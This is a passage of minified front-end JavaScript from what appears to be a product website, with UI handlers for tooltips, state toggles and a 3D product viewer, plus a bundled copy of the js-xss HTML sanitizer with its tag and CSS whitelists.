e=$(this);e.parent().parent().find(".JS-button-group-deep-2").removeClass("active"),e.addClass("active")}))},56850:()=>{const e="JS-active-state",t=function(e){return e?'[data-state-id="'+e+'"]':""};$(document).on("click",".JS-toggle-state-btn",(function(){const i=$(this),n=t(i.data("state-id")),r=i.data("set-state"),s=$('[data-toggle-state="'+r+'"]'+n),a=i.closest(".JS-toggle-state"+n),o=t(a.data("state-id"));a.find(".JS-active-state"+o).removeClass(e),s.addClass(e),"Select"==$(".productcategoryselector .Button__secondary .JS-button-text").text()?$(window).width()<768&&$(".SupportContactsFeedback__select:first").offset()&&$("html, body").animate({scrollTop:$(".SupportContactsFeedback__select:first").offset().top-20}):$(window).width()<768&&$(".JS-contact-form").length>0&&$("html, body").animate({scrollTop:$(".JS-cta-buttons").offset().top-10}),$(window).trigger("resize")}))},16661:()=>{let e,t,i,n;const r=e=>{let t,r,{top:s,left:a}=e;s&&(t=s-i.top),a&&(r=a-i.left),n.css({left:r,top:t})},s=()=>{e.removeClass("open"),$(document).off("click",a),$(window).off("resize",s),document.removeEventListener("scroll",s,!0),e=null,t.open=!1,t=null},a=e=>{$(e.target).closest(".JS-tooltip-button").length||s()};$(document).on("click",".JS-tooltip-button",(function(o){o.stopPropagation(),e&&t!==this&&s(),t=this;const l=$(this);if(e=l.parent(),e.hasClass("open"))s();else{t.open=!0,e.addClass("open"),$(this).closest(".filter-row").css({position:"relative","z-index":"9999999"}),$(document).on("click",a),$(window).on("resize",s),document.addEventListener("scroll",s,!0);const o=e.parent();n=l.next();const u=l.data("tooltip-position"),c=o[0].getBoundingClientRect();i=t.getBoundingClientRect();const d=n.outerWidth(),h=n.outerHeight(),p=$(window).outerWidth(),f=o.outerHeight(),m=o.outerWidth();if("right"===u){const e=c.left+m+20;if(e+d<p)return r({top:c.top,left:e}),null}const g=c.top-h-20;if(r(g>0?{top:g}:{top:c.top+f+20}),c.left+d<p)r({left:c.left});else{const e=c.left+m-d;r(e>0?{left:e}:{left:(p-d)/2})}}return null})),$(document).on("click",".JS-tooltip",(function(e){e.stopPropagation()}))},73746:()=>{const e=".JS-view-3d-zone";let t,i;function n(e,n){const r=n.data("product-id"),s=$("#".concat(r));i=s.find(".JS-view-3d"),i.hasClass("active")&&(t=e)}function r(e){if(!t)return;const n=i[0].activeImageIndex||0;if(Math.abs(e-t)>3){let r;e>t&&(r=-1),e<t&&(r=1);const s=i.children(),a=s.length;let o=n+r;o<0&&(o=a-1),o>=a&&(o=0),$(s[n]).css({display:"none"}),$(s[o]).css({display:"block",opacity:1}),t=e,i[0].activeImageIndex=o}}$(document).on("click",".JS-view-3d-toggle",(function(){const e=$(this).data("product-id"),t=$("#".concat(e)),i=t.find(".JS-views"),n=t.find(".JS-view-3d");n[0].inited||function(e){e.data("images").split(",").forEach((t=>{e.append('<img alt="3D image" src='.concat(t," />"))}))}(n),i.toggleClass("active"),n.toggleClass("active"),$(this).toggleClass("active360"),$(this).parent().toggleClass("active360")})),$(document).on("click",".JS-view-3d-close",(function(){const e=$(this).data("product-id"),t=$("#".concat(e)),i=t.find(".JS-views"),n=t.find(".JS-view-3d");if(i){i.addClass("active"),n.removeClass("active");const e=$(this).parent();e.removeClass("active360"),e.find(".JS-view-3d-toggle").removeClass("active360")}})),$(document).on("mousedown",e,(function(e){n(e.originalEvent.pageX,$(this))})),$(document).on("mouseup",e,(function(){t=null})),$(document).on("mousemove",(function(e){t&&r(e.originalEvent.pageX)})),$(document).on("touchstart",e,(function(e){n(e.originalEvent.touches[0].pageX,$(this))})),$(document).on("touchmove",e,(function(e){r(e.originalEvent.touches[0].pageX)}))},93995:()=>{$(document).ready((function(){const e=$("#modal-where-to-buy-results");e&&e.css("height",$(window).height())}))},81320:()=>{(()=>{const e=()=>{$(".JS-Word-Width-Check").each((function(){const e=$(this);$(this).text().split(" ").forEach((function(e,t){let i=document.createElement("span");i.append(document.createTextNode(e)),i.style.display="inline-block",i.style.fontSize="16px",i.classList.add("ProductSpecBox__titleForCalculation"),document.body.append(i),i.remove()})),e.css("font-size","16px")}))},t=()=>{$(".ProductInfoParams__bottom .ProductInfoParams__row .ProductInfoParams__left>.aos-animate .JS-Word-Width-Check").each((function(){$(this).text().length>37&&($(".ProductInfo__root").css("cssText","padding-bottom:0; margin-bottom:0"),$(".ProductInfo__root .JS-Product-Info-Pos").css("cssText","display:flex !important"),$(".ProductInfo__root .container").css("cssText","padding: 0 1.25% 0 1.25% !important"),$(".ProductInfo__root .ProductInfoParams__mobileHeader").css("cssText","padding: 2% 1% !important"),$(".ProductInfo__root .ProductInfoParams__left").css("cssText","display:flex !important"))}))};$(document).ready((function(){window.innerWidth>768&&e(),setTimeout((function(){t()}),1e3)})),$(window).resize((function(){t()}))})()},2083:()=>{!function e(t,i,n){function r(a,o){if(!i[a]){if(!t[a]){if(s)return s(a,!0);var l=new Error("Cannot find module '"+a+"'");throw l.code="MODULE_NOT_FOUND",l}var u=i[a]={exports:{}};t[a][0].call(u.exports,(function(e){return r(t[a][1][e]||e)}),u,u.exports,e,t,i,n)}return i[a].exports}for(var s=void 0,a=0;a<n.length;a++)r(n[a]);return r}({1:[function(e,t,i){var n=e("cssfilter").FilterCSS,r=e("cssfilter").getDefaultWhiteList,s=e("./util"),a=new n;function o(e){return e.replace(l,"&lt;").replace(u,"&gt;")}var l=/</g,u=/>/g,c=/"/g,d=/&quot;/g,h=/&#([a-zA-Z0-9]*);?/gim,p=/&colon;?/gim,f=/&newline;?/gim,m=/((j\s*a\s*v\s*a|v\s*b|l\s*i\s*v\s*e)\s*s\s*c\s*r\s*i\s*p\s*t\s*|m\s*o\s*c\s*h\s*a):/gi,g=/e\s*x\s*p\s*r\s*e\s*s\s*s\s*i\s*o\s*n\s*\(.*/gi,_=/u\s*r\s*l\s*\(.*/gi;function v(e){return e.replace(c,"&quot;")}function y(e){return e.replace(d,'"')}function b(e){return e.replace(h,(function(e,t){return"x"===t[0]||"X"===t[0]?String.fromCharCode(parseInt(t.substr(1),16)):String.fromCharCode(parseInt(t,10))}))}function w(e){return e.replace(p,":").replace(f," ")}function T(e){for(var t="",i=0,n=e.length;i<n;i++)t+=e.charCodeAt(i)<32?" ":e.charAt(i);return s.trim(t)}function k(e){return T(e=w(e=b(e=y(e))))}function S(e){return o(e=v(e))}i.whiteList={a:["target","href","title"],abbr:["title"],address:[],area:["shape","coords","href","alt"],article:[],aside:[],audio:["autoplay","controls","crossorigin","loop","muted","preload","src"],b:[],bdi:["dir"],bdo:["dir"],big:[],blockquote:["cite"],br:[],caption:[],center:[],cite:[],code:[],col:["align","valign","span","width"],colgroup:["align","valign","span","width"],dd:[],del:["datetime"],details:["open"],div:[],dl:[],dt:[],em:[],figcaption:[],figure:[],font:["color","size","face"],footer:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],hr:[],i:[],img:["src","alt","title","width","height"],ins:["datetime"],li:[],mark:[],nav:[],ol:[],p:[],pre:[],s:[],section:[],small:[],span:[],sub:[],summary:[],sup:[],strong:[],strike:[],table:["width","border","align","valign"],tbody:["align","valign"],td:["width","rowspan","colspan","align","valign"],tfoot:["align","valign"],th:["width","rowspan","colspan","align","valign"],thead:["align","valign"],tr:["rowspan","align","valign"],tt:[],u:[],ul:[],video:["autoplay","controls","crossorigin","loop","muted","playsinline","poster","preload","src","height","width"]},i.getDefaultWhiteList=function(){return{a:["target","href","title"],abbr:["title"],address:[],area:["shape","coords","href","alt"],article:[],aside:[],audio:["autoplay","controls","crossorigin","loop","muted","preload","src"],b:[],bdi:["dir"],bdo:["dir"],big:[],blockquote:["cite"],br:[],caption:[],center:[],cite:[],code:[],col:["align","valign","span","width"],colgroup:["align","valign","span","width"],dd:[],del:["datetime"],details:["open"],div:[],dl:[],dt:[],em:[],figcaption:[],figure:[],font:["color","size","face"],footer:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],hr:[],i:[],img:["src","alt","title","width","height"],ins:["datetime"],li:[],mark:[],nav:[],ol:[],p:[],pre:[],s:[],section:[],small:[],span:[],sub:[],summary:[],sup:[],strong:[],strike:[],table:["width","border","align","valign"],tbody:["align","valign"],td:["width","rowspan","colspan","align","valign"],tfoot:["align","valign"],th:["width","rowspan","colspan","align","valign"],thead:["align","valign"],tr:["rowspan","align","valign"],tt:[],u:[],ul:[],video:["autoplay","controls","crossorigin","loop","muted","playsinline","poster","preload","src","height","width"]}},i.onTag=function(e,t,i){},i.onIgnoreTag=function(e,t,i){},i.onTagAttr=function(e,t,i){},i.onIgnoreTagAttr=function(e,t,i){},i.safeAttrValue=function(e,t,i,n){if(i=k(i),"href"===t||"src"===t){if("#"===(i=s.trim(i)))return"#";if("http://"!==i.substr(0,7)&&"https://"!==i.substr(0,8)&&"mailto:"!==i.substr(0,7)&&"tel:"!==i.substr(0,4)&&"data:image/"!==i.substr(0,11)&&"ftp://"!==i.substr(0,6)&&"./"!==i.substr(0,2)&&"../"!==i.substr(0,3)&&"#"!==i[0]&&"/"!==i[0])return""}else if("background"===t){if(m.lastIndex=0,m.test(i))return""}else if("style"===t){if(g.lastIndex=0,g.test(i))return"";if(_.lastIndex=0,_.test(i)&&(m.lastIndex=0,m.test(i)))return"";!1!==n&&(i=(n=n||a).process(i))}return S(i)},i.escapeHtml=o,i.escapeQuote=v,i.unescapeQuote=y,i.escapeHtmlEntities=b,i.escapeDangerHtml5Entities=w,i.clearNonPrintableCharacter=T,i.friendlyAttrValue=k,i.escapeAttrValue=S,i.onIgnoreTagStripAll=function(){return""},i.StripTagBody=function(e,t){"function"!=typeof t&&(t=function(){});var i=!Array.isArray(e),n=[],r=!1;return{onIgnoreTag:function(a,o,l){if(function(t){return!!i||-1!==s.indexOf(e,t)}(a)){if(l.isClosing){var u=l.position+10;return n.push([!1!==r?r:l.position,u]),r=!1,"[/removed]"}return r||(r=l.position),"[removed]"}return t(a,o,l)},remove:function(e){var t="",i=0;return s.forEach(n,(function(n){t+=e.slice(i,n[0]),i=n[1]})),t+=e.slice(i)}}},i.stripCommentTag=function(e){for(var t="",i=0;i<e.length;){var n=e.indexOf("\x3c!--",i);if(-1===n){t+=e.slice(i);break}t+=e.slice(i,n);var r=e.indexOf("--\x3e",n);if(-1===r)break;i=r+3}return t},i.stripBlankChar=function(e){var t=e.split("");return(t=t.filter((function(e){var t=e.charCodeAt(0);return!(127===t||t<=31&&10!==t&&13!==t)}))).join("")},i.cssFilter=a,i.getDefaultCSSWhiteList=r},{"./util":4,cssfilter:8}],2:[function(e,t,i){var n=e("./default"),r=e("./parser"),s=e("./xss");function a(e,t){return new s(t).process(e)}(i=t.exports=a).filterXSS=a,i.FilterXSS=s,function(){for(var e in n)i[e]=n[e];for(var t in r)i[t]=r[t]}(),"undefined"!=typeof window&&(window.filterXSS=t.exports),"undefined"!=typeof self&&"undefined"!=typeof DedicatedWorkerGlobalScope&&self instanceof DedicatedWorkerGlobalScope&&(self.filterXSS=t.exports)},{"./default":1,"./parser":3,"./xss":5}],3:[function(e,t,i){var n=e("./util");function r(e){var t,i=n.spaceIndex(e);return t=-1===i?e.slice(1,-1):e.slice(1,i+1),"/"===(t=n.trim(t).toLowerCase()).slice(0,1)&&(t=t.slice(1)),"/"===t.slice(-1)&&(t=t.slice(0,-1)),t}function s(e){return"</"===e.slice(0,2)}var a=/[^a-zA-Z0-9\\_:.-]/gim;function o(e,t){for(;t<e.length;t++){var i=e[t];if(" "!==i)return"="===i?t:-1}}function l(e,t){for(;t<e.length;t++){var i=e[t];if(" "!==i)return"'"===i||'"'===i?t:-1}}function u(e,t){for(;t>0;t--){var i=e[t];if(" "!==i)return"="===i?t:-1}}function c(e){return function(e){return'"'===e[0]&&'"'===e[e.length-1]||"'"===e[0]&&"'"===e[e.length-1]}(e)?e.substr(1,e.length-2):e}i.parseTag=function(e,t,i){"use strict";var n="",a=0,o=!1,l=!1,u=0,c=e.length,d="",h="";e:for(u=0;u<c;u++){var p=e.charAt(u);if(!1===o){if("<"===p){o=u;continue}}else if(!1===l){if("<"===p){n+=i(e.slice(a,u)),o=u,a=u;continue}if(">"===p||u===c-1){n+=i(e.slice(a,o)),d=r(h=e.slice(o,u+1)),n+=t(o,n.length,d,h,s(h)),a=u+1,o=!1;continue}if('"'===p||"'"===p)for(var f=1,m=e.charAt(u-f);""===m.trim()||"="===m;){if("="===m){l=p;continue e}m=e.charAt(u-++f)}}else if(p===l){l=!1;continue}}return a<c&&(n+=i(e.substr(a))),n},i.parseAttr=function(e,t){"use strict";var i=0,r=0,s=[],d=!1,h=e.length;function p(e,i){if(!((e=(e=n.trim(e)).replace(a,"").toLowerCase()).length<1)){var r=t(e,i||"");r&&s.push(r)}}for(var f=0;f<h;f++){var m,g=e.charAt(f);if(!1!==d||"="!==g)if(!1===d||f!==r){if(/\s|\n|\t/.test(g)){if(e=e.replace(/\s|\n|\t/g," "),!1===d){if(-1===(m=o(e,f))){p(n.trim(e.slice(i,f))),d=!1,i=f+1;continue}f=m-1;continue}if(-1===(m=u(e,f-1))){p(d,c(n.trim(e.slice(i,f)))),d=!1,i=f+1;continue}}}else{if(-1===(m=e.indexOf(g,f+1)))break;p(d,n.trim(e.slice(r+1,m))),d=!1,i=(f=m)+1}else d=e.slice(i,f),i=f+1,r='"'===e.charAt(i)||"'"===e.charAt(i)?i:l(e,f+1)}return i<e.length&&(!1===d?p(e.slice(i)):p(d,c(n.trim(e.slice(i))))),n.trim(s.join(" "))}},{"./util":4}],4:[function(e,t,i){t.exports={indexOf:function(e,t){var i,n;if(Array.prototype.indexOf)return e.indexOf(t);for(i=0,n=e.length;i<n;i++)if(e[i]===t)return i;return-1},forEach:function(e,t,i){var n,r;if(Array.prototype.forEach)return e.forEach(t,i);for(n=0,r=e.length;n<r;n++)t.call(i,e[n],n,e)},trim:function(e){return String.prototype.trim?e.trim():e.replace(/(^\s*)|(\s*$)/g,"")},spaceIndex:function(e){var t=/\s|\n|\t/.exec(e);return t?t.index:-1}}},{}],5:[function(e,t,i){var n=e("cssfilter").FilterCSS,r=e("./default"),s=e("./parser"),a=s.parseTag,o=s.parseAttr,l=e("./util");function u(e){return null==e}function c(e){(e=function(e){var t={};for(var i in e)t[i]=e[i];return t}(e||{})).stripIgnoreTag&&(e.onIgnoreTag&&console.error('Notes: cannot use these two options "stripIgnoreTag" and "onIgnoreTag" at the same time'),e.onIgnoreTag=r.onIgnoreTagStripAll),e.whiteList||e.allowList?e.whiteList=function(e){var t={};for(var i in e)Array.isArray(e[i])?t[i.toLowerCase()]=e[i].map((function(e){return e.toLowerCase()})):t[i.toLowerCase()]=e[i];return t}(e.whiteList||e.allowList):e.whiteList=r.whiteList,e.onTag=e.onTag||r.onTag,e.onTagAttr=e.onTagAttr||r.onTagAttr,e.onIgnoreTag=e.onIgnoreTag||r.onIgnoreTag,e.onIgnoreTagAttr=e.onIgnoreTagAttr||r.onIgnoreTagAttr,e.safeAttrValue=e.safeAttrValue||r.safeAttrValue,e.escapeHtml=e.escapeHtml||r.escapeHtml,this.options=e,!1===e.css?this.cssFilter=!1:(e.css=e.css||{},this.cssFilter=new n(e.css))}c.prototype.process=function(e){if(!(e=(e=e||"").toString()))return"";var t=this.options,i=t.whiteList,n=t.onTag,s=t.onIgnoreTag,c=t.onTagAttr,d=t.onIgnoreTagAttr,h=t.safeAttrValue,p=t.escapeHtml,f=this.cssFilter;t.stripBlankChar&&(e=r.stripBlankChar(e)),t.allowCommentTag||(e=r.stripCommentTag(e));var m=!1;t.stripIgnoreTagBody&&(m=r.StripTagBody(t.stripIgnoreTagBody,s),s=m.onIgnoreTag);var g=a(e,(function(e,t,r,a,m){var g={sourcePosition:e,position:t,isClosing:m,isWhite:Object.prototype.hasOwnProperty.call(i,r)},_=n(r,a,g);if(!u(_))return _;if(g.isWhite){if(g.isClosing)return"</"+r+">";var v=function(e){var t=l.spaceIndex(e);if(-1===t)return{html:"",closing:"/"===e[e.length-2]};var i="/"===(e=l.trim(e.slice(t+1,-1)))[e.length-1];return i&&(e=l.trim(e.slice(0,-1))),{html:e,closing:i}}(a),y=i[r],b=o(v.html,(function(e,t){var i=-1!==l.indexOf(y,e),n=c(r,e,t,i);return u(n)?i?(t=h(r,e,t,f))?e+'="'+t+'"':e:u(n=d(r,e,t,i))?void 0:n:n}));return a="<"+r,b&&(a+=" "+b),v.closing&&(a+=" /"),a+">"}return u(_=s(r,a,g))?p(a):_}),p);return m&&(g=m.remove(g)),g},t.exports=c},{"./default":1,"./parser":3,"./util":4,cssfilter:8}],6:[function(e,t,i){var n=e("./default"),r=e("./parser");function s(e){return null==e}function a(e){(e=function(e){var t={};for(var i in e)t[i]=e[i];return t}(e||{})).whiteList=e.whiteList||n.whiteList,e.onAttr=e.onAttr||n.onAttr,e.onIgnoreAttr=e.onIgnoreAttr||n.onIgnoreAttr,e.safeAttrValue=e.safeAttrValue||n.safeAttrValue,this.options=e}e("./util"),a.prototype.process=function(e){if(!(e=(e=e||"").toString()))return"";var t=this.options,i=t.whiteList,n=t.onAttr,a=t.onIgnoreAttr,o=t.safeAttrValue;return r(e,(function(e,t,r,l,u){var c=i[r],d=!1;if(!0===c?d=c:"function"==typeof c?d=c(l):c instanceof RegExp&&(d=c.test(l)),!0!==d&&(d=!1),l=o(r,l)){var h,p={position:t,sourcePosition:e,source:u,isWhite:d};return d?s(h=n(r,l,p))?r+":"+l:h:s(h=a(r,l,p))?void 0:h}}))},t.exports=a},{"./default":7,"./parser":9,"./util":10}],7:[function(e,t,i){var r=/javascript\s*\:/gim;i.whiteList={"align-content":!1,"align-items":!1,"align-self":!1,"alignment-adjust":!1,"alignment-baseline":!1,all:!1,"anchor-point":!1,animation:!1,"animation-delay":!1,"animation-direction":!1,"animation-duration":!1,"animation-fill-mode":!1,"animation-iteration-count":!1,"animation-name":!1,"animation-play-state":!1,"animation-timing-function":!1,azimuth:!1,"backface-visibility":!1,background:!0,"background-attachment":!0,"background-clip":!0,"background-color":!0,"background-image":!0,"background-origin":!0,"background-position":!0,"background-repeat":!0,"background-size":!0,"baseline-shift":!1,binding:!1,bleed:!1,"bookmark-label":!1,"bookmark-level":!1,"bookmark-state":!1,border:!0,"border-bottom":!0,"border-bottom-color":!0,"border-bottom-left-radius":!0,"border-bottom-right-radius":!0,"border-bottom-style":!0,"border-bottom-width":!0,"border-collapse":!0,"border-color":!0,"border-image":!0,"border-image-outset":!0,"border-image-repeat":!0,"border-image-slice":!0,"border-image-source":!0,"border-image-width":!0,"border-left":!0,"border-left-color":!0,"border-left-style":!0,"border-left-width":!0,"border-radius":!0,"border-right":!0,"border-right-color":!0,"border-right-style":!0,"border-right-width":!0,"border-spacing":!0,"border-style":!0,"border-top":!0,"border-top-color":!0,"border-top-left-radius":!0,"border-top-right-radius":!0,"border-top-style":!0,"border-top-width":!0,"border-width":!0,bottom:!1,"box-decoration-break":!0,"box-shadow":!0,"box-sizing":!0,"box-snap":!0,"box-suppress":!0,"break-after":!0,"break-before":!0,"break-inside":!0,"caption-side":!1,chains:!1,clear:!0,clip:!1,"clip-path":!1,"clip-rule":!1,color:!0,"color-interpolation-filters":!0,"column-count":!1,"column-fill":!1,"column-gap":!1,"column-rule":!1,"column-rule-color":!1,"column-rule-style":!1,"column-rule-width":!1,"column-span":!1,"column-width":!1,columns:!1,contain:!1,content:!1,"counter-increment":!1,"counter-reset":!1,"counter-set":!1,crop:!1,cue:!1,"cue-after":!1,"cue-before":!1,cursor:!1,direction:!1,display:!0,"display-inside":!0,"display-list":!0,"display-outside":!0,"dominant-baseline":!1,elevation:!1,"empty-cells":!1,filter:!1,flex:!1,"flex-basis":!1,"flex-direction":!1,"flex-flow":!1,"flex-grow":!1,"flex-shrink":!1,"flex-wrap":!1,float:!1,"float-offset":!1,"flood-color":!1,"flood-opacity":!1,"flow-from":!1,"flow-into":!1,font:!0,"font-family":!0,"font-feature-settings":!0,"font-kerning":!0,"font-language-override":!0,"font-size":!0,"font-size-adjust":!0,"font-stretch":!0,"font-style":!0,"font-synthesis":!0,"font-variant":!0,"font-variant-alternates":!0,"font-variant-caps":!0,"font-variant-east-asian":!0,"font-variant-ligatures":!0,"font-variant-numeric":!0,"font-variant-position":!0,"font-weight":!0,grid:!1,"grid-area":!1,"grid-auto-columns":!1,"grid-auto-flow":!1,"grid-auto-rows":!1,"grid-column":!1,"grid-column-end":!1,"grid-column-start":!1,"grid-row":!1,"grid-row-end":!1,"grid-row-start":!1,"grid-template":!1,"grid-template-areas":!1,"grid-template-columns":!1,"grid-template-rows":!1,"hanging-punctuation":!1,height:!0,hyphens:!1,icon:!1,"image-orientation":!1,"image-resolution":!1,"ime-mode":!1,"initial-letters":!1,"inline-box-align":!1,"justify-content":!1,"justify-items":!1,"justify-self":!1,left:!1,"letter-spacing":!0,"lighting-color":!0,"line-box-contain":!1,"line-break":!1,"line-grid":!1,"line-height":!1,"line-snap":!1,"line-stacking":!1,"line-stacking-ruby":!1,"line-stacking-shift":!1,"line-stacking-strategy":!1,"list-style":!0,"list-style-image":!0,"list-style-position":!0,"list-style-type":!0,margin:!0,"margin-bottom":!0,"margin-left":!0,"margin-right":!0,"margin-top":!0,"marker-offset":!1,"marker-side":!1,marks:!1,mask:!1,"mask-box":!1,"mask-box-outset":!1,"mask-box-repeat":!1,"mask-box-slice":!1,"mask-box-source":!1,"mask-box-width":!1,"mask-clip":!1,"mask-image":!1,"mask-origin":!1,"mask-position":!1,"mask-repeat":!1,"mask-size":!1,"mask-source-type":!1,"mask-type":!1,"max-height":!0,"max-lines":!1,"max-width":!0,"min-height":!0,"min-width":!0,"move-to":!1,"nav-down":!1,"nav-index":!1,"nav-left":!1,"nav-right":!1,"nav-up":!1,"object-fit":!1,"object-position":!1,opacity:!1,order:!1,orphans:!1,outline:!1,"outline-color":!1,"outline-offset":!1,"outline-style":!1,"outline-width":!1,overflow:!1,"overflow-wrap":!1,"overflow-x":!1,"overflow-y":!1,padding:!0,"padding-bottom":!0,"padding-left":!0,"padding-right":!0,"padding-top":!0,page:!1,"page-break-after":!1,"page-break-before":!1,"page-break-inside":!1,"page-policy":!1,pause:!1,"pause-after":!1,"pause-before":!1,perspective:!1,"perspective-origin":!1,pitch:!1,"pitch-range":!1,"play-during":!1,position:!1,"presentation-level":!1,quotes:!1,"region-fragment":!1,resize:!1,rest:!1,"rest-after":!1,"rest-before":!1,richness:!1,right:!1,rotation:!1,"rotation-point":!1,"ruby-align":!1,"ruby-merge":!1,"ruby-position":!1,"shape-image-threshold":!1,"shape-outside":!1,"shape-margin":!1,size:!1,speak:!1,"speak-as":!1,"speak-header":!1,"speak-numeral":!1,"speak-punctuation":!1,"speech-rate":!1,stress:!1,"string-set":!1,"tab-size":!1,"table-layout":!1,"text-align":!0,"text-align-last":!0,"text-combine-upright":!0,"text-decoration":!0,"text-decoration-color":!0,"text-decoration-line":!0,"text-decoration-skip":!0,"text-decoration-style":!0,"text-emphasis":!0,"text-emphasis-color":!0,"text-emphasis-position":!0,"text-emphasis-style":!0,"text-height":!0,"text-indent":!0,"text-justify":!0,"text-orientation":!0,"text-overflow":!0,"text-shadow":!0,"text-space-collapse":!0,"text-transform":!0,"text-underline-position":!0,"text-wrap":!0,top:!1,transform:!1,"transform-origin":!1,"transform-style":!1,transition:!1,"transition-delay":!1,"transition-duration":!1,"transition-property":!1,"transition-timing-function":!1,"unicode-bidi":!1,"vertical-align":!1,visibility:!1,"voice-balance":!1,"voice-duration":!1,"voice-family":!1,"voice-pitch":!1,"voice-range":!1,"voice-rate":!1,"voice-stress":!1,"voice-volume":!1,volume:!1,"white-space":!1,widows:!1,width:!0,"will-change":!1,"word-break":!0,"word-spacing":!0,"word-wrap":!0,"wrap-flow":!1,"wrap-through":!1,"writing-mode":!1,"z-index":!1},i.getDefaultWhiteList=function n(){return{"align-content":!1,"align-items":!1,"align-self":!1,"alignment-adjust":!1,"alignment-baseline":!1,all:!1,"anchor-point":!1,animation:!1,"animation-delay":!1,"animation-direction":!1,"animation-duration":!1,"animation-fill-mode":!1,"animation-iteration-count":!1,"animation-name":!1,"animation-play-state":!1,"animation-timing-function":!1,azimuth:!1,"backface-visibility":!1,background:!0,"background-attachment":!0,"background-clip":!0,"background-color":!0,"background-image":!0,"background-origin":!0,"background-position":!0,"background-repeat":!0,"background-size":!0,"baseline-shift":!1,binding:!1,bleed:!1,"bookmark-label":!1,"bookmark-level":!1,"bookmark-state":!1,border:!0,"border-bottom":!0,"border-bottom-color":!0,"border-bottom-left-radius":!0,"border-bottom-right-radius":!0,"border-bottom-style":!0,"border-bottom-width":!0,"border-collapse":!0,"border-color":!0,"border-image":!0,"border-image-outset":!0,"border-image-repeat":!0,"border-image-slice":!0,"border-image-source":!0,"border-image-width":!0,"border-left":!0,"border-left-color":!0,"border-left-style":!0,"border-left-width":!0,"border-radius":!0,"border-right":!0,"border-right-color":!0,"border-right-style":!0,"border-right-width":!0,"border-spacing":!0,"border-style":!0,"border-top":!0,"border-top-color":!0,"border-top-left-radius":!0,"border-top-right-radius":!0,"border-top-style":!0,"border-top-width":!0,"border-width":!0,bottom:!1,"box-decoration-break":!0,"box-shadow":!0,"box-sizing":!0,"box-snap":!0,"box-suppress":!0,"break-after":!0,"break-before":!0,"break-inside":!0,"caption-side":!1,chains:!1,clear:!0,clip:!1,"clip-path":!1,"clip-rule":!1,color:!0,"color-interpolation-filters":!0,"column-count":!1,"column-fill":!1,"column-gap":!1,"column-rule":!1,"column-rule-color":!1,"column-rule-style":!1,"column-rule-width":!1,"column-span":!1,"column-width":!1,columns:!1,contain:!1,content:!1,"counter-increment":!1,"counter-reset":!1,"counter-set":!1,crop:!1,cue:!1,"cue-after":!1,"cue-before":!1,cursor:!1,direction:!1,display:!0,"display-inside":!0,"display-list":!0,"display-outside":!0,"dominant-baseline":!1,elevation:!1,"empty-cells":!1,filter:!1,flex:!1,"flex-basis":!1,"flex-direction":!1,"flex-flow":!1,"flex-grow":!1,"flex-shrink":!1,"flex-wrap":!1,float:!1,"float-offset":!1,"flood-color":!1,"flood-opacity":!1,"flow-from":!1,"flow-into":!1,font:!0,"font-family":!0,"font-feature-settings":!0,"font-kerning":!0,"font-language-override":!0,"font-size":!0,"font-size-adjust":!0,"font-stretch":!0,"font-style":!0,"font-synthesis":!0,"font-variant":!0,"font-variant-alternates":!0,"font-variant-caps":!0,"font-variant-east-asian":!0,"font-variant-ligatures":!0,"font-variant-numeric":!0,"font-variant-position":!0,"font-weight":!0,grid:!1,"grid-area":!1,"grid-auto-columns":!1,"grid-auto-flow":!1,"grid-auto-rows":!1,"grid-column":!1,"grid-column-end":!1,"grid-column-start":!1,"grid-row":!1,"grid-row-end":!1,"grid-row-start":!1,"grid-template":!1,"grid-template-areas":!1,"grid-template-columns":!1,"grid-template-rows":!1,"hanging-punctuation":!1,height:!0,hyphens:!1,icon:!1,"image-orientation":!1,"image-resolution":!1,"ime-mode":!1,"initial-letters":!1,"inline-box-align":!1,"justify-content":!1,"justify-items":!1,"justify-self":!1,left:!1,"letter-spacing":!0,"lighting-color":!0,"line-box-contain":!1,"line-break":!1,"line-grid":!1,"line-height":!1,"line-snap":!1,"line-stacking":!1,"line-stacking-ruby":!1,"line-stacking-shift":!1,"line-stacking-strategy":!1,"list-style":!0,"list-style-image":!0,"list-style-position":!0,"list-style-type":!0,margin:!0,"margin-bottom":!0,"margin-left":!0,"margin-right":!0,"margin-top":!0,"marker-offset":!1,"marker-side":!1,marks:!1,mask:!1,"mask-box":!1,"mask-box-outset":!1,"mask-box-repeat":!1,"mask-box-slice":!1,"mask-box-source":!1,"mask-box-width":!1,"mask-clip":!1,"mask-image":!1,"mask-origin":!1,"mask-position":!1,"mask-repeat":!1,"mask-size":!1,"mask-source-type":!1,"mask-type":!1,"max-height":!0,"max-lines":!1,"max-width":!0,"min-height":!0,"min-width":!0,"move-to":!1,"nav-down":!1,"nav-index":!1,"nav-left":!1,"nav-right":!1,"nav-up":!1,"object-fit":!1,"object-position":!1,opacity:!1,order:!1,orphans:!1,outline:!1,"outline-color":!1,"outline-offset":!1,"outline-style":!1,"outline-width":!1,overflow:!1,"overflow-wrap":!1,"overflow-x":!1,"overflow-y":!1,padding:!0,"padding-bottom":!0,"padding-left":!0,"padding-right":!0,"padding-top":!0,page:!1,"page-break-after":!1,"page-break-before":!1,"page-break-inside":!1,"page-policy":!1,pause:!1,"pause-after":!1,"pause-before":!1,perspective:!1,"perspective-origin":!1,pitch:!1,"pitch-range":!1,"play-during":!1,position:!1,"presentation-level":!1,quotes:!1,"region-fragment":!1,resize:!1,rest:!1,"rest-after":!1,"rest-before":!1,richness:!1,right:!1,rotation:!1,"rotation-point":!1,"ruby-align":!1,"ruby-merge":!1,"ruby-position":!1,"shape-image-threshold":!1,"shape-outside":!1,"shape-margin":!1,size:!1,speak:!1,"speak-as":!1,"speak-header":!1,"speak-numeral":!1,"speak-punctuation":!1,"speech-rate":!1,stress:!1,"string-set":!1,"tab-size":!1,"table-layout":!1,"text-align":!0,"text-align-last":!0,"text-combine-upright":!0,"text-decoration":!0,"text-decoration-color":!0,"text-decoration-line":!0,"text-decoration-skip":!0,"text-decoration-style":!0,"text-emphasis":!0,"text-emphasis-color":!0,"text-emphasis-position":!0,"text-emphasis-style":!0,"text-height":!0,"text-indent":!0,"text-justify":!0,"text-orientation":!0,"text-overflow":!0,"text-shadow":!0,"text-space-collapse":!0,"text-transform":!0,"text-underline-position":!0,"text-wrap":!0,top:!1,transform:!1,"transform-origin":!1,"transform-style":!1,transition:!1,"transition-delay":!1,"transition-duration":!1,"transition-property":!1,"transition-timing-function":!1,"unicode-bidi":!1,"vertical-align":!1,visibility:!1,"voice-balance":!1,"voice-duration":!1,"voice-family":!1,"voice-pitch":!1,"voice-range":!1,"voice-rate":!1,"v